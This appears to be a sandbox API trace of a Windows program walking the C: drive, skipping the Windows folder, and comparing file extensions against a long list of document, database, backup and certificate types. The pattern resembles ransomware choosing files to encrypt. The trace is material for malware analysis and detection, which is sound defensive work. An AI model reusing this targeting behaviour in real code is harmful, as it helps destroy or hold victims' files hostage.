lstrcmpiW (lpString1=".m1v", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".m4a") returned 4 [0266.554] lstrcmpiW (lpString1=".m4a", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".m4v") returned 4 [0266.554] lstrcmpiW (lpString1=".m4v", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".max") returned 4 [0266.554] lstrcmpiW (lpString1=".max", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".md") returned 3 [0266.554] lstrcmpiW (lpString1=".md", lpString2="J-H") returned -1 [0266.554] lstrlenW (lpString=".mda") returned 4 [0266.554] lstrcmpiW (lpString1=".mda", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".mdb") returned 4 [0266.554] lstrcmpiW (lpString1=".mdb", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".mde") returned 4 [0266.554] lstrcmpiW (lpString1=".mde", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".mdf") returned 4 [0266.554] lstrcmpiW (lpString1=".mdf", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".mdw") returned 4 [0266.554] lstrcmpiW (lpString1=".mdw", lpString2="SJ-H") returned -1 [0266.554] lstrlenW (lpString=".mef") returned 4 [0266.555] lstrcmpiW (lpString1=".mef", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mft") returned 4 [0266.555] lstrcmpiW (lpString1=".mft", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mfw") returned 4 [0266.555] lstrcmpiW (lpString1=".mfw", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mht") returned 4 [0266.555] lstrcmpiW (lpString1=".mht", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mhtml") returned 6 [0266.555] lstrcmpiW (lpString1=".mhtml", lpString2="RKSJ-H") returned -1 [0266.555] lstrlenW (lpString=".mka") returned 4 [0266.555] lstrcmpiW (lpString1=".mka", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mkidx") returned 6 [0266.555] lstrcmpiW (lpString1=".mkidx", lpString2="RKSJ-H") returned -1 [0266.555] lstrlenW (lpString=".mkv") returned 4 [0266.555] lstrcmpiW (lpString1=".mkv", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mos") returned 4 [0266.555] lstrcmpiW (lpString1=".mos", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mov") returned 4 [0266.555] lstrcmpiW (lpString1=".mov", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mp3") returned 4 [0266.555] lstrcmpiW (lpString1=".mp3", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mp4") returned 4 [0266.555] lstrcmpiW (lpString1=".mp4", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mpeg") returned 5 [0266.555] lstrcmpiW (lpString1=".mpeg", lpString2="KSJ-H") returned -1 [0266.555] lstrlenW (lpString=".mpg") returned 4 [0266.555] lstrcmpiW (lpString1=".mpg", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mpv") returned 4 [0266.555] lstrcmpiW (lpString1=".mpv", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mrw") returned 4 [0266.555] lstrcmpiW (lpString1=".mrw", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".msg") returned 4 [0266.555] lstrcmpiW (lpString1=".msg", lpString2="SJ-H") returned -1 [0266.555] lstrlenW (lpString=".mxl") returned 4 [0266.555] lstrcmpiW (lpString1=".mxl", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".myd") returned 4 [0266.556] lstrcmpiW (lpString1=".myd", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".myi") returned 4 [0266.556] lstrcmpiW (lpString1=".myi", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".nef") returned 4 [0266.556] lstrcmpiW (lpString1=".nef", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".nrw") returned 4 [0266.556] lstrcmpiW (lpString1=".nrw", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".obj") returned 4 [0266.556] lstrcmpiW (lpString1=".obj", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".odb") returned 4 [0266.556] lstrcmpiW (lpString1=".odb", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".odc") returned 4 [0266.556] lstrcmpiW (lpString1=".odc", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".odm") returned 4 [0266.556] lstrcmpiW (lpString1=".odm", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".odp") returned 4 [0266.556] lstrcmpiW (lpString1=".odp", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".ods") returned 4 [0266.556] lstrcmpiW (lpString1=".ods", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".oft") returned 4 [0266.556] lstrcmpiW (lpString1=".oft", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".one") returned 4 [0266.556] lstrcmpiW (lpString1=".one", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".onepkg") returned 7 [0266.556] lstrcmpiW (lpString1=".onepkg", lpString2="-RKSJ-H") returned -1 [0266.556] lstrlenW (lpString=".onetoc2") returned 8 [0266.556] lstrcmpiW (lpString1=".onetoc2", lpString2="v-RKSJ-H") returned -1 [0266.556] lstrlenW (lpString=".opt") returned 4 [0266.556] lstrcmpiW (lpString1=".opt", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".oqy") returned 4 [0266.556] lstrcmpiW (lpString1=".oqy", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".orf") returned 4 [0266.556] lstrcmpiW (lpString1=".orf", lpString2="SJ-H") returned -1 [0266.556] lstrlenW (lpString=".p12") returned 4 [0266.557] lstrcmpiW (lpString1=".p12", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".p7b") returned 4 [0266.557] lstrcmpiW (lpString1=".p7b", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".p7c") returned 4 [0266.557] lstrcmpiW (lpString1=".p7c", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pam") returned 4 [0266.557] lstrcmpiW (lpString1=".pam", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pbm") returned 4 [0266.557] lstrcmpiW (lpString1=".pbm", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pct") returned 4 [0266.557] lstrcmpiW (lpString1=".pct", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pcx") returned 4 [0266.557] lstrcmpiW (lpString1=".pcx", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pdd") returned 4 [0266.557] lstrcmpiW (lpString1=".pdd", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pdf") returned 4 [0266.557] lstrcmpiW (lpString1=".pdf", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pdp") returned 4 [0266.557] lstrcmpiW (lpString1=".pdp", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pef") returned 4 [0266.557] lstrcmpiW (lpString1=".pef", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pem") returned 4 [0266.557] lstrcmpiW (lpString1=".pem", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pff") returned 4 [0266.557] lstrcmpiW (lpString1=".pff", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pfm") returned 4 [0266.557] lstrcmpiW (lpString1=".pfm", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pfx") returned 4 [0266.557] lstrcmpiW (lpString1=".pfx", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".pgm") returned 4 [0266.557] lstrcmpiW (lpString1=".pgm", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".php") returned 4 [0266.557] lstrcmpiW (lpString1=".php", lpString2="SJ-H") returned -1 [0266.557] lstrlenW (lpString=".php3") returned 5 [0266.557] lstrcmpiW (lpString1=".php3", lpString2="KSJ-H") returned -1 [0266.557] lstrlenW (lpString=".php4") returned 5 [0266.558] lstrcmpiW (lpString1=".php4", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".php5") returned 5 [0266.558] lstrcmpiW (lpString1=".php5", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".phtml") returned 6 [0266.558] lstrcmpiW (lpString1=".phtml", lpString2="RKSJ-H") returned -1 [0266.558] lstrlenW (lpString=".pict") returned 5 [0266.558] lstrcmpiW (lpString1=".pict", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".pl") returned 3 [0266.558] lstrcmpiW (lpString1=".pl", lpString2="J-H") returned -1 [0266.558] lstrlenW (lpString=".pls") returned 4 [0266.558] lstrcmpiW (lpString1=".pls", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".pm") returned 3 [0266.558] lstrcmpiW (lpString1=".pm", lpString2="J-H") returned -1 [0266.558] lstrlenW (lpString=".png") returned 4 [0266.558] lstrcmpiW (lpString1=".png", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".pnm") returned 4 [0266.558] lstrcmpiW (lpString1=".pnm", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".pot") returned 4 [0266.558] lstrcmpiW (lpString1=".pot", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".potm") returned 5 [0266.558] lstrcmpiW (lpString1=".potm", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".potx") returned 5 [0266.558] lstrcmpiW (lpString1=".potx", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".ppa") returned 4 [0266.558] lstrcmpiW (lpString1=".ppa", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".ppam") returned 5 [0266.558] lstrcmpiW (lpString1=".ppam", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".ppm") returned 4 [0266.558] lstrcmpiW (lpString1=".ppm", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".pps") returned 4 [0266.558] lstrcmpiW (lpString1=".pps", lpString2="SJ-H") returned -1 [0266.558] lstrlenW (lpString=".ppsm") returned 5 [0266.558] lstrcmpiW (lpString1=".ppsm", lpString2="KSJ-H") returned -1 [0266.558] lstrlenW (lpString=".ppt") returned 4 [0266.558] lstrcmpiW (lpString1=".ppt", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".pptm") returned 5 [0266.559] lstrcmpiW (lpString1=".pptm", lpString2="KSJ-H") returned -1 [0266.559] lstrlenW (lpString=".pptx") returned 5 [0266.559] lstrcmpiW (lpString1=".pptx", lpString2="KSJ-H") returned -1 [0266.559] lstrlenW (lpString=".prn") returned 4 [0266.559] lstrcmpiW (lpString1=".prn", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".ps") returned 3 [0266.559] lstrcmpiW (lpString1=".ps", lpString2="J-H") returned -1 [0266.559] lstrlenW (lpString=".psb") returned 4 [0266.559] lstrcmpiW (lpString1=".psb", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".psd") returned 4 [0266.559] lstrcmpiW (lpString1=".psd", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".pst") returned 4 [0266.559] lstrcmpiW (lpString1=".pst", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".ptx") returned 4 [0266.559] lstrcmpiW (lpString1=".ptx", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".pub") returned 4 [0266.559] lstrcmpiW (lpString1=".pub", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".pwm") returned 4 [0266.559] lstrcmpiW (lpString1=".pwm", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".pxr") returned 4 [0266.559] lstrcmpiW (lpString1=".pxr", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".py") returned 3 [0266.559] lstrcmpiW (lpString1=".py", lpString2="J-H") returned -1 [0266.559] lstrlenW (lpString=".qt") returned 3 [0266.559] lstrcmpiW (lpString1=".qt", lpString2="J-H") returned -1 [0266.559] lstrlenW (lpString=".r3d") returned 4 [0266.559] lstrcmpiW (lpString1=".r3d", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".raf") returned 4 [0266.559] lstrcmpiW (lpString1=".raf", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".rar") returned 4 [0266.559] lstrcmpiW (lpString1=".rar", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".raw") returned 4 [0266.559] lstrcmpiW (lpString1=".raw", lpString2="SJ-H") returned -1 [0266.559] lstrlenW (lpString=".rdf") returned 4 [0266.560] lstrcmpiW (lpString1=".rdf", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".rgbe") returned 5 [0266.560] lstrcmpiW (lpString1=".rgbe", lpString2="KSJ-H") returned -1 [0266.560] lstrlenW (lpString=".rle") returned 4 [0266.560] lstrcmpiW (lpString1=".rle", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".rqy") returned 4 [0266.560] lstrcmpiW (lpString1=".rqy", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".rss") returned 4 [0266.560] lstrcmpiW (lpString1=".rss", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".rtf") returned 4 [0266.560] lstrcmpiW (lpString1=".rtf", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".rw2") returned 4 [0266.560] lstrcmpiW (lpString1=".rw2", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".rwl") returned 4 [0266.560] lstrcmpiW (lpString1=".rwl", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".safe") returned 5 [0266.560] lstrcmpiW (lpString1=".safe", lpString2="KSJ-H") returned -1 [0266.560] lstrlenW (lpString=".sct") returned 4 [0266.560] lstrcmpiW (lpString1=".sct", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".sdpx") returned 5 [0266.560] lstrcmpiW (lpString1=".sdpx", lpString2="KSJ-H") returned -1 [0266.560] lstrlenW (lpString=".shtm") returned 5 [0266.560] lstrcmpiW (lpString1=".shtm", lpString2="KSJ-H") returned -1 [0266.560] lstrlenW (lpString=".shtml") returned 6 [0266.560] lstrcmpiW (lpString1=".shtml", lpString2="RKSJ-H") returned -1 [0266.560] lstrlenW (lpString=".slk") returned 4 [0266.560] lstrcmpiW (lpString1=".slk", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".sln") returned 4 [0266.560] lstrcmpiW (lpString1=".sln", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".sql") returned 4 [0266.560] lstrcmpiW (lpString1=".sql", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".sr2") returned 4 [0266.560] lstrcmpiW (lpString1=".sr2", lpString2="SJ-H") returned -1 [0266.560] lstrlenW (lpString=".srf") returned 4 [0266.560] lstrcmpiW (lpString1=".srf", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".srw") returned 4 [0266.561] lstrcmpiW (lpString1=".srw", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".ssi") returned 4 [0266.561] lstrcmpiW (lpString1=".ssi", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".st") returned 3 [0266.561] lstrcmpiW (lpString1=".st", lpString2="J-H") returned -1 [0266.561] lstrlenW (lpString=".stm") returned 4 [0266.561] lstrcmpiW (lpString1=".stm", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".svg") returned 4 [0266.561] lstrcmpiW (lpString1=".svg", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".svgz") returned 5 [0266.561] lstrcmpiW (lpString1=".svgz", lpString2="KSJ-H") returned -1 [0266.561] lstrlenW (lpString=".swf") returned 4 [0266.561] lstrcmpiW (lpString1=".swf", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tab") returned 4 [0266.561] lstrcmpiW (lpString1=".tab", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tar") returned 4 [0266.561] lstrcmpiW (lpString1=".tar", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tbb") returned 4 [0266.561] lstrcmpiW (lpString1=".tbb", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tbi") returned 4 [0266.561] lstrcmpiW (lpString1=".tbi", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tbk") returned 4 [0266.561] lstrcmpiW (lpString1=".tbk", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tdi") returned 4 [0266.561] lstrcmpiW (lpString1=".tdi", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tga") returned 4 [0266.561] lstrcmpiW (lpString1=".tga", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".thmx") returned 5 [0266.561] lstrcmpiW (lpString1=".thmx", lpString2="KSJ-H") returned -1 [0266.561] lstrlenW (lpString=".tif") returned 4 [0266.561] lstrcmpiW (lpString1=".tif", lpString2="SJ-H") returned -1 [0266.561] lstrlenW (lpString=".tiff") returned 5 [0266.561] lstrcmpiW (lpString1=".tiff", lpString2="KSJ-H") returned -1 [0266.561] lstrlenW (lpString=".tld") returned 4 [0266.562] lstrcmpiW (lpString1=".tld", lpString2="SJ-H") returned -1 [0273.393] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x35ee920 | out: lpFindFileData=0x35ee920*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1 Thread: id = 101 os_tid = 0x704 [0257.808] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4551060 [0257.808] lstrlenW (lpString="C:") returned 2 [0257.808] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x372fd00 | out: lpFindFileData=0x372fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x63ed88 [0257.808] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0257.808] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0257.808] lstrlenW (lpString="$Recycle.Bin") returned 12 [0257.808] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0257.808] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4561068 [0257.809] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0257.809] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63edc8 [0257.809] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.809] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0257.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0257.809] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0257.809] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0257.809] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0257.809] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4572078 [0257.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0257.809] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63ee08 [0257.809] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.809] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x10fd7120, ftCreationTime.dwHighDateTime=0x1d50336, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0257.810] lstrlenW (lpString="desktop.ini") returned 11 [0257.810] lstrlenW (lpString=".1cd") returned 4 [0257.810] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".3ds") returned 4 [0257.810] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".3fr") returned 4 [0257.810] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".3g2") returned 4 [0257.810] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".3gp") returned 4 [0257.810] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".7z") returned 3 [0257.810] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0257.810] lstrlenW (lpString=".accda") returned 6 [0257.810] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0257.810] lstrlenW (lpString=".accdb") returned 6 [0257.810] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0257.810] lstrlenW (lpString=".accdc") returned 6 [0257.810] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0257.810] lstrlenW (lpString=".accde") returned 6 [0257.810] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0257.810] lstrlenW (lpString=".accdt") returned 6 [0257.810] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0257.810] lstrlenW (lpString=".accdw") returned 6 [0257.810] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0257.810] lstrlenW (lpString=".adb") returned 4 [0257.810] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".adp") returned 4 [0257.810] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".ai") returned 3 [0257.810] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0257.810] lstrlenW (lpString=".ai3") returned 4 [0257.810] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0257.810] lstrlenW (lpString=".ai4") returned 4 [0257.810] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".ai5") returned 4 [0257.811] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".ai6") returned 4 [0257.811] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".ai7") returned 4 [0257.811] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".ai8") returned 4 [0257.811] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".anim") returned 5 [0257.811] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0257.811] lstrlenW (lpString=".arw") returned 4 [0257.811] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".as") returned 3 [0257.811] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0257.811] lstrlenW (lpString=".asa") returned 4 [0257.811] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".asc") returned 4 [0257.811] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".ascx") returned 5 [0257.811] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0257.811] lstrlenW (lpString=".asm") returned 4 [0257.811] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".asmx") returned 5 [0257.811] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0257.811] lstrlenW (lpString=".asp") returned 4 [0257.811] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".aspx") returned 5 [0257.811] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0257.811] lstrlenW (lpString=".asr") returned 4 [0257.811] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".asx") returned 4 [0257.811] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".avi") returned 4 [0257.811] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0257.811] lstrlenW (lpString=".avs") returned 4 [0257.811] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".backup") returned 7 [0257.812] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0257.812] lstrlenW (lpString=".bak") returned 4 [0257.812] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".bay") returned 4 [0257.812] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".bd") returned 3 [0257.812] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0257.812] lstrlenW (lpString=".bin") returned 4 [0257.812] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".bmp") returned 4 [0257.812] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".bz2") returned 4 